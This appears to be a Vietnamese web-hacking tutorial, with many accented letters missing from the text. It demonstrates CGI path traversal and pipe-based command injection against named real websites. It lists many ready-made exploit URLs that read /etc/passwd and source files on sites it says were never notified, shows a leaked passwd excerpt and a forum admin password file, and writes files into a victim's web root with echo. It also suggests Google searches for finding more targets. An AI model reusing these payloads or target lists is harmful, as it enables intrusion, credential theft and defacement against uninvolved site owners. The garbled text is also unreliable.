.Web Hacking, Brief Introduction :
trang này đã được đọc ln
Trong thi đại hin nay khi internet được ph biến rng rãi, các t chc, cá nhân đều có
nhu cu gii thiu thông tin ca mình trên xa l thông tin cũng như thc hin các cuc giao
dch buôn bán online. Vn đề ny sinh là khi phm vi ng dng ca các web application
ngày càng ph biến thì kh năng xut hin li và b tn công càng cao. Trong các lĩnh vc
hacking, hack web application là sân chơi khá lý thú cho nhng ai yêu thích computer
security.
Thông thường, nhng bước cơ bn khi thc hin hack web bao gm như sau - các bước
này không nht thiết phi thc hin tun t mà tùy vào điu kin ca chúng ta.
1. Thu thp thông tin mc trên v h tng ca mc tiêu
Bước này ta cn thu thp mt s thông tin quan trng như có bao nhiêu server, mô hình
ca các web server, các client nào s tương tác vi ng dng web, kiu giao tiếp thông tin
(transport) và thông qua các cng (port) nào, nhng site liên quan đến vic thc hin chc
năng ca site mc tiêu....
2. Kho sát ng dng web
đây tôi ch mô t mt trong nhng phương pháp kho sát khá ph biến t trước đến gi,
đó là Xem mã ngun và li dng các li cho phép xem mã ngun.Mt s ngôn ng web
thông dng hin nay có nhiu li này như Active Server Pages (ASP),Common Gateway
Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP).
Bài viết này tôi ch đề cp đến 1 bug đã có t lâu nhưng thy vn còn nhiu site mc phi,
đó là li liên quan đến CGI design cho phép view source và file system traversal. Hãy
xem ví d sau:
http://www.earthdayalliance.org/index.cgi?page=contact.htm
đây index.cgi được gi vi tham s truyn vào là trang contact.htm (HTML file) nó s
đọc và hin ni dung ca trang này lên client browser. Tuy nhiên nếu người viết cgi không
kim tra kĩ lưỡng, ta có th li dng để xem chính ni dung ca file index.cgi hay các trang
khác. Ví d sau ta s thay contact.htm bng index.cgi:
http://www.earthdayalliance.org/index.cgi?page=index.cgi
đây ta gp 1 thông báo li "error: No such file or directory
/web/guide/earthdayalliance/www/content/index.cgi", nguyên nhân là thc tế index.cgi
không nm trong thư mc hin hành (tc là ../www/content/) mà nm www, do đó ta s
chnh li link 1 chút bng 1 dot dot slash, như sau:
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
Chy link này ta s thy ni dung ca index.cgi được show trên browser. Vic xem được
source có th giúp ta tìm hiu kĩ càng hơn v web app, thm chí nếu may mn có th xem
được nhng thông tin quan trng khác. Lnh sau là 1 ví d dùng li này để xem file
etc/passwd trong unix server:
http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd
Đây ch là 1 ví d nh, còn khai thác hay hn chế thế nào thì tùy kh năng ca mi người.
Các bn có th tìm các site b li này bng cách dùng www.google.com, search t khóa
liên quan, chng hn như: "index.cgi?page="
Đây là vài link tôi tìm thy, các bn có th tham kho:
http://www.discountdata.com/index.cgi?page=index.cgi
http://home.no.net/danm2/freezeware/index.cgi?page=leecher.html
http://home.no.net/danm2/freezeware/index.cgi?page=/../../../../../../../../etc/passwd
http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=practical.htm
http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=/../../../../../../etc/passwd
http://www.resource.nl/uk/index.cgi?page=index.cgi
http://www.earthdayalliance.org/index.cgi?page=contact.htm
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd
http://www.nestingeagles.com/index.cgi?page=videoB.htm
http://www.nestingeagles.com/index.cgi?page=/../index.cgi
http://www.nestingeagles.com/index.cgi?page=/../../../../../../etc/passwd
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=Privacy_Policy.htm
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../index.cgi
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/.././admin/configuration.pl
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../../../../../../../etc/passwd
http://demo1.secmod.com/index.cgi?page=links.html
http://demo1.secmod.com/index.cgi?page=index.cgi
http://demo1.secmod.com/index.cgi?page=/../../../../../etc/passwd
http://www.vintagejournal.com/VJ0901/index.cgi?page=/../index.cgi
http://www.vintagejournal.com/VJ0901/index.cgi?page=home.htm
http://www.datadart.com/commercesql/index.cgi?page=STK%20Datasheets.html&car
http://www.datadart.com/commercesql/index.cgi?page=/../index.cgi
http://www.gatlinburggateway.com/index.cgi?&page=/../../../../../../etc/passwd
http://www.berkshire-is.com/index.cgi?page=news.html
http://www.berkshire-is.com/index.cgi?page=index.cgi
http://www.berkshire-is.com/index.cgi?page=/../../../../../etc/passwd
http://www.smokymtnarts-crafts.com/index.cgi?page=otto.htm
http://www.smokymtnarts-crafts.com/index.cgi?page=/../index.cgi
http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=flagsbyname.html
http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=/../index.cgi
http://www.randalloglegallery.com/index.cgi?page=about.htm
http://www.randalloglegallery.com/index.cgi?page=/../index.cgi
.....
Lưu ý các site trên chưa được thông báo v li này.
3. Tn công các web server
4. Tn công vượt qua các cơ chế kim soát (authentication, authorization)
Bao gm các phương pháp như đoán mt khu, làm vic - thay đổi thông tin cookies, các
kĩ thut directory traversal, leo thang đặc quyn, các phương pháp tn công da vào SQL,
SQL injection...
5. Tìm hiu sâu v các chc năng ca ng dng web
Tìm hiu cách thc hin ca các phn trong ng dng, đặc bit như các order input,
confirmation, order tracking. đây ta có th áp dng các phương pháp như SQL Injection,
input validation...
6. Tìm hiu lung di chuyn ca thông tin
Các thông tin tương tác gia client và server, các thông tin tương tác vi database. Hin
nay vic viết mã để thc hin vic giao tiếp thông tin thường phi đảm bo được tính hiu
qu (nhanh),và bo mt (có th s chm hơn). Thường thì tính hiu qu được ưu tiên hơn
do đó có th s phát sinh li trong quá trình đó và giúp hacker có th li dng các li như
SQL input...để đot quyn điu khin h thng.
7. Tn công trang ca người qun lý h thng
8. Tn công client
9. Thc hin tn công t chi dch v Denial-of-Service (DoS)
Đây là cách cui cùng khi các phương pháp trên không thc hin thành công.
Phn này cn các bn có kiến thc chút đỉnh v Unix.
Bước tiếp theo là khai thác kh năng command execution t client browser thông qua
HTTP port.
đây các bn chú ý các kí t đặc bit hu ích khi ta cn thc hin lnh trong URL, đó là:
newline character (%0a), pipe (%7c), semicolon (%3b), ampersand (%26). Newline char
cho phép ta ngt các lnh ra thành nhiu dòng khi thc hin, dùng khi ta kết nhiu lnh
cùng trên cùng 1 dòng; pipe dùng để kết ni nhiu lnh unix vi nhau, tương t vi
semicolon; ampersand thường dùng để ngăn cách các tham s truyn vào câu lnh...Các
bn t tìm hiu kĩ hơn các thông tin này.
Tiếp theo vd post đầu, đó là: http://www.earthdayalliance.org/index.cgi?
page=contact.htm
Bây gi ta th gi 1 lnh lit kê thông tin thư mc ca unix (ls):
http://www.earthdayalliance.org/index.cgi?page=|ls|
Ta s thy browser lit kê ra các file, thư mc có trong thư mc hin hành ca trang web,
đại khái như sau:
[badurl.htm contact.txt content count_file edcpressrelease.htm greentemplate.htm
guestbook images index.cgi newtemplate.htm registercircle.txt search.html template.htm
templates welcome.htm wwwboard ]
Nếu mun biết rõ hơn v thông tin ca file, như quyn hn, ngày tháng...ta dùng lnh ls
-la, c th URL s là:
http://www.earthdayalliance.org/index.cgi?page=|ls+-la|
Mt vd ca vic khai thác tiếp theo: ta thy thư mc wwwboard, đây là 1 dng webforum
đơn gin, ta xem th ni dung thư mc này:
http://www.earthdayalliance.org/index.cgi?page=|ls%20wwwboard|
đây ta s thy lit kê ra content ca forum này, trong đó có 1 file passwd.txt, ta mun
xem ni dung file này, ch vic thc hin:
http://www.earthdayalliance.org/index.cgi?page=/../wwwboard/passwd.txt
Lưu ý ta thêm /../ phía trước vì mun lùi 1 cp tr v thư mc cha.
Thế là bn va xem được pass admin ca forum dng này.
Đây là 1 thông tin tìm hiu khác:
http://www.earthdayalliance.org/index.cgi?page=|ls%20/../../../../../etc+-la|
Lit kê các user trong server này:
http://www.earthdayalliance.org/index.cgi?page=|ls+/../../.././web/guide+-al|
.....
Bước khai thác kế tiếp dành cho các bn: Thc hin nhiu câu lnh, get shell... Chúc
thành công.
Các công c có th áp dng trong web hacking các bn có th tìm hiu trang:
http://www.hackingexposed.com/tools/tools.html
Mt tài liu nh v web hacking khác (đây là tài liu English, đọc bng chương trình
Microsoft
powerpoint trong b Microsoft Office): webhacking.zip
Tôi s gii thiu các bn 1 th thut nho nh để to 1 file dng text khi ta có th run được
command trên remote server. Cách này có th áp dng vi c nt và unix. Vi NT, tôi đã
tng thc hin thành công khi hack các server hosting controller trước đây, khi đó tôi dùng
cách này để to 1 file script ftp, sau đó gi lnh ftp để chy script này.
đây tôi s nêu ví d to 1 link cho site b li CGI File System Traversal tôi đã post.
Các bn theo dõi link sau:
http://www.nestingeagles.com/index.cgi?page=/../../../../../../etc/passwd ,
ta s thy nó lit kê ra ni dung ca file passwd (đã shadowed). Vì site này có tên là
nestingeagles.com nên tôi s search "nestingeagles" trong list va lit kê trong passwd, ta
s thy:
....
marlonsand:*:354:102:,,,,:/mnt/web/guide/turboprofits:/bin/false
bibscalp:*:356:102:,,,,:/mnt/web/guide/bibscalpproducts:/bin/suspended
nestingeagle:*:357:102:,,,,:/mnt/web/guide/nestingeagles:/bin/bash
twostr:*:359:102:,,,,:/mnt/web/guide/twostreetmusic:/bin/suspended
srinc:*:361:102:,,,,:/mnt/web/guide/summationresearch:/bin/false
....
Ta chú ý đến đường dn ca website này: : /mnt/web/guide/nestingeagles, t đây ta s
dùng lnh ls để xem nó, như sau:
http://www.nestingeagles.com/index.cgi?page=|ls
%20/../../../../mnt/web/guide/nestingeagles| ,
nó s lit kê các thông tin v thư mc và file ca site này, tìm hiu thêm ta s biết được
main
index ca site nm trong /wwwfp/, ta li lit kê: http://www.nestingeagles.com/index.cgi?
page=|ls%20/../../../../mnt/web/guide/nestingeagles/wwwfp| . Ok, bây gi ta có th thc
hiên các lnh to, xóa...main index ca website trong thư mc này. Ta s th tìm cách to
link a.htm.
Lnh tôi gii thiu đây là echo. Lnh echo s hin 1 message ra standard output hoc ra
file.
Command dùng trong trường hp này như sau: echo [message] >> [filename], nếu
mun thêm vào file có sn, bn ch vic gi tiếp lnh echo vi file đã có, nhưng vi
message (ni dung) khác.
http://www.nestingeagles.com/index.cgi?page=|echo%20This+is+a|test%20>>
%20/../../../../
mnt/web/guide/nestingeagles/wwwfp/a.htm|
Nếu thành công, bn s thy link sau: http://www.nestingeagles.com/a.htm
Bây gi các bn thy lnh echo hu dng thế nào ri ch, ta có th to link mà chng cn
tool gì remote c ngoi tr browser.
Lưu ý các bn khi test nên tránh dùng các lnh xoá d liu hoc to file đè mt các
file người ta có sn, cũng đừng nên quá lm dng lnh để to nhiu link s sm b
phát hin.
Error! Unknown switch argument.